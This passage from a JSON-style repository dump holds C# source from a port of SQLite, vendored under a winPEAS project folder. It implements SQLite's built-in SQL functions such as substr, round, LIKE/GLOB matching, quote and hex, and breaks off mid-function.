\"sqlite3Hooks\" state vector declared above.\n    */\n#if SQLITE_OMIT_WSD\n//# define wsdHooksInit \\\nBenignMallocHooks *x = &GLOBAL(BenignMallocHooks,sqlite3Hooks)\n//# define wsdHooks x[0]\n#else\n    //# define wsdHooksInit\n    static void wsdHooksInit() { }\n    //# define wsdHooks sqlite3Hooks\n    static BenignMallocHooks wsdHooks = sqlite3Hooks;\n#endif\n\n\n\n    /*\n** Register hooks to call when sqlite3BeginBenignMalloc() and\n** sqlite3EndBenignMalloc() are called, respectively.\n*/\n    static void sqlite3BenignMallocHooks(\n    void_function xBenignBegin, //void (*xBenignBegin)(void),\n    void_function xBenignEnd //void (*xBenignEnd)(void)\n    )\n    {\n      wsdHooksInit();\n      wsdHooks.xBenignBegin = xBenignBegin;\n      wsdHooks.xBenignEnd = xBenignEnd;\n    }\n\n    /*\n    ** This (sqlite3EndBenignMalloc()) is called by SQLite code to indicate that\n    ** subsequent malloc failures are benign. A call to sqlite3EndBenignMalloc()\n    ** indicates that subsequent malloc failures are non-benign.\n    */\n    static void sqlite3BeginBenignMalloc()\n    {\n      wsdHooksInit();\n      if ( wsdHooks.xBenignBegin != null )\n      {\n        wsdHooks.xBenignBegin();\n      }\n    }\n    static void sqlite3EndBenignMalloc()\n    {\n      wsdHooksInit();\n      if ( wsdHooks.xBenignEnd != null )\n      {\n        wsdHooks.xBenignEnd();\n      }\n    }\n#endif //* SQLITE_OMIT_BUILTIN_TEST */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/func_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing sqlite3_int64 = System.Int64;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n  using sqlite_int64 = System.Int64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2002 February 23\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the C functions that implement various SQL\n    ** functions of SQLite.\n    **\n    ** There is only one exported symbol in this file - the function\n    ** sqliteRegisterBuildinFunctions() found at the bottom of the file.\n    ** All other code has file scope.\n    **\n    ** $Id: func.c,v 1.239 2009/06/19 16:44:41 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n    //#include <assert.h>\n    //#include \"vdbeInt.h\"\n\n\n    /*\n    ** Return the collating function associated with a function.\n    */\n    static CollSeq sqlite3GetFuncCollSeq( sqlite3_context context )\n    {\n      return context.pColl;\n    }\n\n    /*\n    ** Implementation of the non-aggregate min() and max() functions\n    */\n    static void minmaxFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int i;\n      int mask;    /* 0 for min() or 0xffffffff for max() */\n      int iBest;\n      CollSeq pColl;\n\n      Debug.Assert( argc > 1 );\n      mask = (int)sqlite3_user_data( context ) == 0 ? 0 : -1;\n      pColl = sqlite3GetFuncCollSeq( context );\n      Debug.Assert( pColl != null );\n      Debug.Assert( mask == -1 || mask == 0 );\n      testcase( mask == 0 );\n      iBest = 0;\n      if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return;\n      for ( i = 1 ; i < argc ; i++ )\n      {\n        if ( sqlite3_value_type( argv[i] ) == SQLITE_NULL ) return;\n        if ( ( sqlite3MemCompare( argv[iBest], argv[i], pColl ) ^ mask ) >= 0 )\n        {\n          iBest = i;\n        }\n      }\n      sqlite3_result_value( context, argv[iBest] );\n    }\n\n    /*\n    ** Return the type of the argument.\n    */\n    static void typeofFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      string z = \"\";\n      UNUSED_PARAMETER( NotUsed );\n      switch ( sqlite3_value_type( argv[0] ) )\n      {\n        case SQLITE_INTEGER: z = \"integer\"; break;\n        case SQLITE_TEXT: z = \"text\"; break;\n        case SQLITE_FLOAT: z = \"real\"; break;\n        case SQLITE_BLOB: z = \"blob\"; break;\n        default: z = \"null\"; break;\n      }\n      sqlite3_result_text( context, z, -1, SQLITE_STATIC );\n    }\n\n\n    /*\n    ** Implementation of the length() function\n    */\n    static void lengthFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int len;\n\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      switch ( sqlite3_value_type( argv[0] ) )\n      {\n        case SQLITE_BLOB:\n        case SQLITE_INTEGER:\n        case SQLITE_FLOAT:\n          {\n            sqlite3_result_int( context, sqlite3_value_bytes( argv[0] ) );\n            break;\n          }\n        case SQLITE_TEXT:\n          {\n            byte[] z = sqlite3_value_blob( argv[0] );\n            if ( z == null ) return;\n            len = 0;\n            int iz = 0;\n            while ( iz < z.Length && z[iz] != '\\0' )\n            {\n              len++;\n              SQLITE_SKIP_UTF8( z, ref iz );\n            }\n            sqlite3_result_int( context, len );\n            break;\n          }\n        default:\n          {\n            sqlite3_result_null( context );\n            break;\n          }\n      }\n    }\n\n    /*\n    ** Implementation of the abs() function\n    */\n    static void absFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      switch ( sqlite3_value_type( argv[0] ) )\n      {\n        case SQLITE_INTEGER:\n          {\n            i64 iVal = sqlite3_value_int64( argv[0] );\n            if ( iVal < 0 )\n            {\n              if ( ( iVal << 1 ) == 0 )\n              {\n                sqlite3_result_error( context, \"integer overflow\", -1 );\n                return;\n              }\n              iVal = -iVal;\n            }\n            sqlite3_result_int64( context, iVal );\n            break;\n          }\n        case SQLITE_NULL:\n          {\n            sqlite3_result_null( context );\n            break;\n          }\n        default:\n          {\n            double rVal = sqlite3_value_double( argv[0] );\n            if ( rVal < 0 ) rVal = -rVal;\n            sqlite3_result_double( context, rVal );\n            break;\n          }\n      }\n    }\n\n    /*\n    ** Implementation of the substr() function.\n    **\n    ** substr(x,p1,p2)  returns p2 characters of x[] beginning with p1.\n    ** p1 is 1-indexed.  So substr(x,1,1) returns the first character\n    ** of x.  If x is text, then we actually count UTF-8 characters.\n    ** If x is a blob, then we count bytes.\n    **\n    ** If p1 is negative, then we begin abs(p1) from the end of x[].\n    */\n    static void substrFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string z = \"\";\n      byte[] zBLOB = null;\n      string z2;\n      int len;\n      int p0type;\n      int p1, p2;\n      int negP2 = 0;\n\n      Debug.Assert( argc == 3 || argc == 2 );\n      if ( sqlite3_value_type( argv[1] ) == SQLITE_NULL\n      || ( argc == 3 && sqlite3_value_type( argv[2] ) == SQLITE_NULL )\n      )\n      {\n        return;\n      }\n      p0type = sqlite3_value_type( argv[0] );\n      if ( p0type == SQLITE_BLOB )\n      {\n        len = sqlite3_value_bytes( argv[0] );\n        zBLOB = argv[0].zBLOB;\n        if ( zBLOB == null ) return;\n        Debug.Assert( len == zBLOB.Length );\n      }\n      else\n      {\n        z = sqlite3_value_text( argv[0] );\n        if ( z == null ) return;\n        len = z.Length;\n        //len = 0;\n        //for ( z2 = z ; z2 != \"\" ; len++ )\n        //{\n        //  SQLITE_SKIP_UTF8( ref z2 );\n        //}\n      }\n      p1 = sqlite3_value_int( argv[1] );\n      if ( argc == 3 )\n      {\n        p2 = sqlite3_value_int( argv[2] );\n        if ( p2 < 0 )\n        {\n          p2 = -p2;\n          negP2 = 1;\n        }\n      }\n      else\n      {\n        p2 = ( sqlite3_context_db_handle( context ) ).aLimit[SQLITE_LIMIT_LENGTH];\n      }\n      if ( p1 < 0 )\n      {\n        p1 += len;\n        if ( p1 < 0 )\n        {\n          p2 += p1;\n          if ( p2 < 0 ) p2 = 0;\n          p1 = 0;\n        }\n      }\n      else if ( p1 > 0 )\n      {\n        p1--;\n      }\n      else if ( p2 > 0 )\n      {\n        p2--;\n      }\n      if ( negP2 != 0 )\n      {\n        p1 -= p2;\n        if ( p1 < 0 )\n        {\n          p2 += p1;\n          p1 = 0;\n        }\n      }\n      Debug.Assert( p1 >= 0 && p2 >= 0 );\n      if ( p1 + p2 > len )\n      {\n        p2 = len - p1;\n        if ( p2 < 0 ) p2 = 0;\n      }\n      if ( p0type != SQLITE_BLOB )\n      {\n        //while ( z != \"\" && p1 != 0 )\n        //{\n        //  SQLITE_SKIP_UTF8( ref z );\n        //  p1--;\n        //}\n        //for ( z2 = z ; z2 != \"\" && p2 != 0 ; p2-- )\n        //{\n        //  SQLITE_SKIP_UTF8( ref z2 );\n        //}\n        sqlite3_result_text( context, z.Length == 0 || p1 > z.Length ? \"\" : z.Substring( p1, p2 ), (int)p2, SQLITE_TRANSIENT );\n      }\n      else\n      {\n        StringBuilder sb = new StringBuilder( zBLOB.Length );\n        if ( zBLOB.Length == 0 || p1 > zBLOB.Length ) sb.Length = 0;\n        else\n        {\n          for ( int i = p1 ; i < p1 + p2 ; i++ ) { sb.Append( (char)zBLOB[i] ); }\n        }\n\n        sqlite3_result_blob( context, sb.ToString(), (int)p2, SQLITE_TRANSIENT );\n      }\n    }\n\n    /*\n    ** Implementation of the round() function\n    */\n#if !SQLITE_OMIT_FLOATING_POINT\n    static void roundFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int n = 0;\n      double r;\n      string zBuf = \"\";\n      Debug.Assert( argc == 1 || argc == 2 );\n      if ( argc == 2 )\n      {\n        if ( SQLITE_NULL == sqlite3_value_type( argv[1] ) ) return;\n        n = sqlite3_value_int( argv[1] );\n        if ( n > 30 ) n = 30;\n        if ( n < 0 ) n = 0;\n      }\n      if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return;\n      r = sqlite3_value_double( argv[0] );\n      zBuf = sqlite3_mprintf( \"%.*f\", n, r );\n      if ( zBuf == null )\n      {\n        sqlite3_result_error_nomem( context );\n      }\n      else\n      {\n        sqlite3AtoF( zBuf, ref r );\n        //sqlite3_free( ref zBuf );\n        sqlite3_result_double( context, r );\n      }\n    }\n#endif\n\n    /*\n** Allocate nByte bytes of space using sqlite3_malloc(). If the\n** allocation fails, call sqlite3_result_error_nomem() to notify\n** the database handle that malloc() has failed and return NULL.\n** If nByte is larger than the maximum string or blob length, then\n** raise an SQLITE_TOOBIG exception and return NULL.\n*/\n    //static void* contextMalloc( sqlite3_context* context, i64 nByte )\n    //{\n    //  char* z;\n    //  sqlite3* db = sqlite3_context_db_handle( context );\n    //  assert( nByte > 0 );\n    //  testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] );\n    //  testcase( nByte == db->aLimit[SQLITE_LIMIT_LENGTH] + 1 );\n    //  if ( nByte > db->aLimit[SQLITE_LIMIT_LENGTH] )\n    //  {\n    //    sqlite3_result_error_toobig( context );\n    //    z = 0;\n    //  }\n    //  else\n    //  {\n    //    z = sqlite3Malloc( (int)nByte );\n    //    if ( !z )\n    //    {\n    //      sqlite3_result_error_nomem( context );\n    //    }\n    //  }\n    //  return z;\n    //}\n\n    /*\n    ** Implementation of the upper() and lower() SQL functions.\n    */\n    static void upperFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string z1;\n      string z2;\n      int i, n;\n      UNUSED_PARAMETER( argc );\n      z2 = sqlite3_value_text( argv[0] );\n      n = sqlite3_value_bytes( argv[0] );\n      /* Verify that the call to _bytes() does not invalidate the _text() pointer */\n      //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) );\n      if ( z2 != null )\n      {\n        //z1 = new byte[n];// contextMalloc(context, ((i64)n)+1);\n        //if ( z1 !=null)\n        //{\n        //  memcpy( z1, z2, n + 1 );\n        //for ( i = 0 ; i< z1.Length ; i++ )\n        //{\n        //(char)sqlite3Toupper( z1[i] );\n        //}\n        sqlite3_result_text(context, z2.Length == 0 ? \"\" : z2.Substring(0, n).ToUpper(), -1, null); //sqlite3_free );\n        // }\n      }\n    }\n\n    static void lowerFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string z1;\n      string z2;\n      int i, n;\n      UNUSED_PARAMETER( argc );\n      z2 = sqlite3_value_text( argv[0] );\n      n = sqlite3_value_bytes( argv[0] );\n      /* Verify that the call to _bytes() does not invalidate the _text() pointer */\n      //Debug.Assert( z2 == sqlite3_value_text( argv[0] ) );\n      if ( z2 != null )\n      {\n        //z1 = contextMalloc(context, ((i64)n)+1);\n        //if ( z1 )\n        //{\n        //  memcpy( z1, z2, n + 1 );\n        //  for ( i = 0 ; z1[i] ; i++ )\n        //  {\n        //    z1[i] = (char)sqlite3Tolower( z1[i] );\n        //  }\n        z1 = z2.Length == 0 ? \"\" : z2.Substring( 0, n ).ToLower();\n        sqlite3_result_text(context, z1, -1, null);//sqlite3_free );\n        //}\n      }\n    }\n\n    /*\n    ** Implementation of the IFNULL(), NVL(), and COALESCE() functions.\n    ** All three do the same thing.  They return the first non-NULL\n    ** argument.\n    */\n    static void ifnullFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int i;\n      for ( i = 0 ; i < argc ; i++ )\n      {\n        if ( SQLITE_NULL != sqlite3_value_type( argv[i] ) )\n        {\n          sqlite3_result_value( context, argv[i] );\n          break;\n        }\n      }\n    }\n\n    /*\n    ** Implementation of random().  Return a random integer.\n    */\n    static void randomFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      sqlite_int64 r = 0;\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_randomness( sizeof( sqlite_int64 ), ref r );\n      if ( r < 0 )\n      {\n        /* We need to prevent a random number of 0x8000000000000000\n        ** (or -9223372036854775808) since when you do abs() of that\n        ** number of you get the same value back again.  To do this\n        ** in a way that is testable, mask the sign bit off of negative\n        ** values, resulting in a positive value.  Then take the\n        ** 2s complement of that positive value.  The end result can\n        ** therefore be no less than -9223372036854775807.\n        */\n        r = -( r ^ ( ( (sqlite3_int64)1 ) << 63 ) );\n      }\n      sqlite3_result_int64( context, r );\n    }\n\n    /*\n    ** Implementation of randomblob(N).  Return a random blob\n    ** that is N bytes long.\n    */\n    static void randomBlob(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int n;\n      char[] p;\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      n = sqlite3_value_int( argv[0] );\n      if ( n < 1 )\n      {\n        n = 1;\n      }\n      p = new char[n]; //contextMalloc( context, n );\n      if ( p != null )\n      {\n        i64 _p = 0;\n        for ( int i = 0 ; i < n ; i++ )\n        {\n          sqlite3_randomness( sizeof( u8 ), ref _p );\n          p[i] = (char)( _p & 0x7F );\n        }\n        sqlite3_result_blob( context, new string( p ), n,  null);//sqlite3_free );\n      }\n    }\n\n    /*\n    ** Implementation of the last_insert_rowid() SQL function.  The return\n    ** value is the same as the sqlite3_last_insert_rowid() API function.\n    */\n    static void last_insert_rowid(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      sqlite3 db = sqlite3_context_db_handle( context );\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_result_int64( context, sqlite3_last_insert_rowid( db ) );\n    }\n\n    /*\n    ** Implementation of the changes() SQL function.  The return value is the\n    ** same as the sqlite3_changes() API function.\n    */\n    static void changes(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      sqlite3 db = sqlite3_context_db_handle( context );\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_result_int( context, sqlite3_changes( db ) );\n    }\n\n    /*\n    ** Implementation of the total_changes() SQL function.  The return value is\n    ** the same as the sqlite3_total_changes() API function.\n    */\n    static void total_changes(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      sqlite3 db = (sqlite3)sqlite3_context_db_handle( context );\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_result_int( context, sqlite3_total_changes( db ) );\n    }\n\n    /*\n    ** A structure defining how to do GLOB-style comparisons.\n    */\n    struct compareInfo\n    {\n      public char matchAll;\n      public char matchOne;\n      public char matchSet;\n      public bool noCase;\n      public compareInfo( char matchAll, char matchOne, char matchSet, bool noCase )\n      {\n        this.matchAll = matchAll;\n        this.matchOne = matchOne;\n        this.matchSet = matchSet;\n        this.noCase = noCase;\n      }\n    };\n\n    /*\n    ** For LIKE and GLOB matching on EBCDIC machines, assume that every\n    ** character is exactly one byte in size.  Also, all characters are\n    ** able to participate in upper-case-to-lower-case mappings in EBCDIC\n    ** whereas only characters less than 0x80 do in ASCII.\n    */\n#if (SQLITE_EBCDIC)\n//# define sqlite3Utf8Read(A,C)    (*(A++))\n//# define GlogUpperToLower(A)     A = sqlite3UpperToLower[A]\n#else\n    //# define GlogUpperToLower(A)     if( A<0x80 ){ A = sqlite3UpperToLower[A]; }\n#endif\n\n    static compareInfo globInfo = new compareInfo( '*', '?', '[', false );\n    /* The correct SQL-92 behavior is for the LIKE operator to ignore\n    ** case.  Thus  'a' LIKE 'A' would be true. */\n    static compareInfo likeInfoNorm = new compareInfo( '%', '_', '\\0', true );\n    /* If SQLITE_CASE_SENSITIVE_LIKE is defined, then the LIKE operator\n    ** is case sensitive causing 'a' LIKE 'A' to be false */\n    static compareInfo likeInfoAlt = new compareInfo( '%', '_', '\\0', false );\n\n    /*\n    ** Compare two UTF-8 strings for equality where the first string can\n    ** potentially be a \"glob\" expression.  Return true (1) if they\n    ** are the same and false (0) if they are different.\n    **\n    ** Globbing rules:\n    **\n    **      '*'       Matches any sequence of zero or more characters.\n    **\n    **      '?'       Matches exactly one character.\n    **\n    **     [...]      Matches one character from the enclosed list of\n    **                characters.\n    **\n    **     [^...]     Matches one character not in the enclosed list.\n    **\n    ** With the [...] and [^...] matching, a ']' character can be included\n    ** in the list by making it the first character after '[' or '^'.  A\n    ** range of characters can be specified using '-'.  Example:\n    ** \"[a-z]\" matches any single lower-case letter.  To match a '-', make\n    ** it the last character in the list.\n    **\n    ** This routine is usually quick, but can be N**2 in the worst case.\n    **\n    ** Hints: to match '*' or '?', put them in \"[]\".  Like this:\n    **\n    **         abc[*]xyz        Matches \"abc*xyz\" only\n    */\n    static bool patternCompare(\n    string zPattern,            /* The glob pattern */\n    string zString,             /* The string to compare against the glob */\n    compareInfo pInfo,          /* Information about how to do the compare */\n    int esc                     /* The escape character */\n    )\n    {\n      int c, c2;\n      int invert;\n      int seen;\n      int matchOne = (int)pInfo.matchOne;\n      int matchAll = (int)pInfo.matchAll;\n      int matchSet = (int)pInfo.matchSet;\n      bool noCase = pInfo.noCase;\n      bool prevEscape = false;     /* True if the previous character was 'escape' */\n      string inPattern = zPattern; //Entered Pattern\n\n      while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) != 0 )\n      {\n        if ( !prevEscape && c == matchAll )\n        {\n          while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) == matchAll\n          || c == matchOne )\n          {\n            if ( c == matchOne && sqlite3Utf8Read( zString, ref zString ) == 0 )\n            {\n              return false;\n            }\n          }\n          if ( c == 0 )\n          {\n            return true;\n          }\n          else if ( c == esc )\n          {\n            c = sqlite3Utf8Read( zPattern, ref zPattern );\n            if ( c == 0 )\n            {\n              return false;\n            }\n          }\n          else if ( c == matchSet )\n          {\n            Debug.Assert( esc == 0 );         /* This is GLOB, not LIKE */\n            Debug.Assert( matchSet < 0x80 );  /* '[' is a single-byte character */\n            int len = 0;\n            while ( len < zString.Length && patternCompare( inPattern.Substring( inPattern.Length - zPattern.Length - 1 ), zString.Substring( len ), pInfo, esc ) == false )\n            {\n              SQLITE_SKIP_UTF8( zString, ref len );\n            }\n            return len < zString.Length;\n          }\n          while ( ( c2 = sqlite3Utf8Read( zString, ref zString ) ) != 0 )\n          {\n            if ( noCase )\n            {\n              if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2);\n              if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c);\n              while ( c2 != 0 && c2 != c )\n              {\n                c2 = sqlite3Utf8Read( zString, ref zString );\n                if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2);\n              }\n            }\n            else\n            {\n              while ( c2 != 0 && c2 != c )\n              {\n                c2 = sqlite3Utf8Read( zString, ref zString );\n              }\n            }\n            if ( c2 == 0 ) return false;\n            if ( patternCompare( zPattern, zString, pInfo, esc ) ) return true;\n          }\n          return false;\n        }\n        else if ( !prevEscape && c == matchOne )\n        {\n          if ( sqlite3Utf8Read( zString, ref zString ) == 0 )\n          {\n            return false;\n          }\n        }\n        else if ( c == matchSet )\n        {\n          int prior_c = 0;\n          Debug.Assert( esc == 0 );    /* This only occurs for GLOB, not LIKE */\n          seen = 0;\n          invert = 0;\n          c = sqlite3Utf8Read( zString, ref zString );\n          if ( c == 0 ) return false;\n          c2 = sqlite3Utf8Read( zPattern, ref zPattern );\n          if ( c2 == '^' )\n          {\n            invert = 1;\n            c2 = sqlite3Utf8Read( zPattern, ref zPattern );\n          }\n          if ( c2 == ']' )\n          {\n            if ( c == ']' ) seen = 1;\n            c2 = sqlite3Utf8Read( zPattern, ref zPattern );\n          }\n          while ( c2 != 0 && c2 != ']' )\n          {\n            if ( c2 == '-' && zPattern[0] != ']' && zPattern[0] != 0 && prior_c > 0 )\n            {\n              c2 = sqlite3Utf8Read( zPattern, ref zPattern );\n              if ( c >= prior_c && c <= c2 ) seen = 1;\n              prior_c = 0;\n            }\n            else\n            {\n              if ( c == c2 )\n              {\n                seen = 1;\n              }\n              prior_c = c2;\n            }\n            c2 = sqlite3Utf8Read( zPattern, ref zPattern );\n          }\n          if ( c2 == 0 || ( seen ^ invert ) == 0 )\n          {\n            return false;\n          }\n        }\n        else if ( esc == c && !prevEscape )\n        {\n          prevEscape = true;\n        }\n        else\n        {\n          c2 = sqlite3Utf8Read( zString, ref zString );\n          if ( noCase )\n          {\n            if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c);\n            if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2);\n          }\n          if ( c != c2 )\n          {\n            return false;\n          }\n          prevEscape = false;\n        }\n      }\n      return zString.Length == 0;\n    }\n\n    /*\n    ** Count the number of times that the LIKE operator (or GLOB which is\n    ** just a variation of LIKE) gets called.  This is used for testing\n    ** only.\n    */\n#if SQLITE_TEST\n    //static int sqlite3_like_count = 0;\n#endif\n\n\n    /*\n** Implementation of the like() SQL function.  This function implements\n** the build-in LIKE operator.  The first argument to the function is the\n** pattern and the second argument is the string.  So, the SQL statements:\n**\n**       A LIKE B\n**\n** is implemented as like(B,A).\n**\n** This same function (with a different compareInfo structure) computes\n** the GLOB operator.\n*/\n    static void likeFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      string zA, zB;\n      int escape = 0;\n      int nPat;\n      sqlite3 db = sqlite3_context_db_handle( context );\n\n      zB = sqlite3_value_text( argv[0] );\n      zA = sqlite3_value_text( argv[1] );\n\n      /* Limit the length of the LIKE or GLOB pattern to avoid problems\n      ** of deep recursion and N*N behavior in patternCompare().\n      */\n      nPat = sqlite3_value_bytes( argv[0] );\n      testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] );\n      testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] + 1 );\n      if ( nPat > db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] )\n      {\n        sqlite3_result_error( context, \"LIKE or GLOB pattern too complex\", -1 );\n        return;\n      }\n      //Debug.Assert( zB == sqlite3_value_text( argv[0] ) );  /* Encoding did not change */\n\n      if ( argc == 3 )\n      {\n        /* The escape character string must consist of a single UTF-8 character.\n        ** Otherwise, return an error.\n        */\n        string zEsc = sqlite3_value_text( argv[2] );\n        if ( zEsc == null ) return;\n        if ( sqlite3Utf8CharLen( zEsc, -1 ) != 1 )\n        {\n          sqlite3_result_error( context,\n          \"ESCAPE expression must be a single character\", -1 );\n          return;\n        }\n        escape = sqlite3Utf8Read( zEsc, ref zEsc );\n      }\n      if ( zA != null && zB != null )\n      {\n        compareInfo pInfo = (compareInfo)sqlite3_user_data( context );\n#if SQLITE_TEST\n        sqlite3_like_count.iValue++;\n#endif\n        sqlite3_result_int( context, patternCompare( zB, zA, pInfo, escape ) ? 1 : 0 );\n      }\n    }\n\n    /*\n    ** Implementation of the NULLIF(x,y) function.  The result is the first\n    ** argument if the arguments are different.  The result is NULL if the\n    ** arguments are equal to each other.\n    */\n    static void nullifFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] argv\n    )\n    {\n      CollSeq pColl = sqlite3GetFuncCollSeq( context );\n      UNUSED_PARAMETER( NotUsed );\n      if ( sqlite3MemCompare( argv[0], argv[1], pColl ) != 0 )\n      {\n        sqlite3_result_value( context, argv[0] );\n      }\n    }\n\n    /*\n    ** Implementation of the VERSION(*) function.  The result is the version\n    ** of the SQLite library that is running.\n    */\n    static void versionFunc(\n    sqlite3_context context,\n    int NotUsed,\n    sqlite3_value[] NotUsed2\n    )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      sqlite3_result_text( context, sqlite3_version, -1, SQLITE_STATIC );\n    }\n\n    /* Array for converting from half-bytes (nybbles) into ASCII hex\n    ** digits. */\n    static char[] hexdigits = new char[]  {\n'0', '1', '2', '3', '4', '5', '6', '7',\n'8', '9', 'A', 'B', 'C', 'D', 'E', 'F'\n};\n\n    /*\n    ** EXPERIMENTAL - This is not an official function.  The interface may\n    ** change.  This function may disappear.  Do not write code that depends\n    ** on this function.\n    **\n    ** Implementation of the QUOTE() function.  This function takes a single\n    ** argument.  If the argument is numeric, the return value is the same as\n    ** the argument.  If the argument is NULL, the return value is the string\n    ** \"NULL\".  Otherwise, the argument is enclosed in single quotes with\n    ** single-quote escapes.\n    */\n    static void quoteFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n\n      switch ( sqlite3_value_type( argv[0] ) )\n      {\n        case SQLITE_INTEGER:\n        case SQLITE_FLOAT:\n          {\n            sqlite3_result_value( context, argv[0] );\n            break;\n          }\n        case SQLITE_BLOB:\n          {\n            StringBuilder zText;\n            byte[] zBlob = sqlite3_value_blob( argv[0] );\n            int nBlob = sqlite3_value_bytes( argv[0] );\n            Debug.Assert( zBlob.Length == sqlite3_value_blob( argv[0] ).Length ); /* No encoding change */\n            zText = new StringBuilder( 2 * nBlob + 4 );//(char*)contextMalloc(context, (2*(i64)nBlob)+4);\n            zText.Append( \"X'\" );\n            if ( zText != null )\n            {\n              int i;\n              for ( i = 0 ; i < nBlob ; i++ )\n              {\n                zText.Append( hexdigits[( zBlob[i] >> 4 ) & 0x0F] );\n                zText.Append( hexdigits[( zBlob[i] ) & 0x0F] );\n              }\n              zText.Append( \"'\" );\n              //zText[( nBlob * 2 ) + 2] = '\\'';\n              //zText[( nBlob * 2 ) + 3] = '\\0';\n              //zText[0] = 'X';\n              //zText[1] = '\\'';\n              sqlite3_result_text( context, zText.ToString(), -1, SQLITE_TRANSIENT );\n              //sqlite3_free( ref  zText );\n            }\n            break;\n          }\n        case SQLITE_TEXT:\n          {\n            int i, j;\n            int n;\n            string zArg = sqlite3_value_text( argv[0] );\n            StringBuilder z;\n\n            if ( zArg == null || zArg.Length == 0 ) return;\n            for ( i = 0, n = 0 ; i < zArg.Length ; i++ ) { if ( zArg[i] == '\\'' ) n++; }\n            z = new StringBuilder( i + n + 3 );// contextMalloc(context, ((i64)i)+((i64)n)+3);\n            if ( z != null )\n            {\n              z.Append( '\\'' );\n              for ( i = 0, j = 1 ; i < zArg.Length && zArg[i] != 0 ; i++ )\n              {\n                z.Append( (char)zArg[i] ); j++;\n                if ( zArg[i] == '\\'' )\n                {\n                  z.Append( '\\'' ); j++;\n                }\n              }\n              z.Append( '\\'' ); j++;\n              //z[j] = '\\0'; ;\n              sqlite3_result_text(context, z.ToString(), j, null);//sqlite3_free );\n            }\n            break;\n          }\n        default:\n          {\n            Debug.Assert( sqlite3_value_type( argv[0] ) == SQLITE_NULL );\n            sqlite3_result_text( context, \"NULL\", 4, SQLITE_STATIC );\n            break;\n          }\n      }\n    }\n\n    /*\n    ** The hex() function.  Interpret the argument as a blob.  Return\n    ** a hexadecimal rendering as text.\n    */\n    static void hexFunc(\n    sqlite3_context context,\n    int argc,\n    sqlite3_value[] argv\n    )\n    {\n      int i, n;\n      byte[] pBlob;\n      //string zHex, z;\n      Debug.Assert( argc == 1 );\n      UNUSED_PARAMETER( argc );\n      pBlob = sqlite3_value_blob( argv[0] );\n      n = sqlite3_value_bytes( argv[0] );\n      Debug.Assert( n == pBlob.Length );  /* No encoding change */\n      StringBuilder zHex = new StringBuilder( n * 2 + 1 );\n      //  z = zHex = contextMalloc(context, ((i64)n)*2 + 1);\n      if ( zHex != null )\n      {\n        for ( i = 0 ; i < n ; i++ )\n        {//, pBlob++){\n          byte c = pBlob[i];\n          zHex.Append( 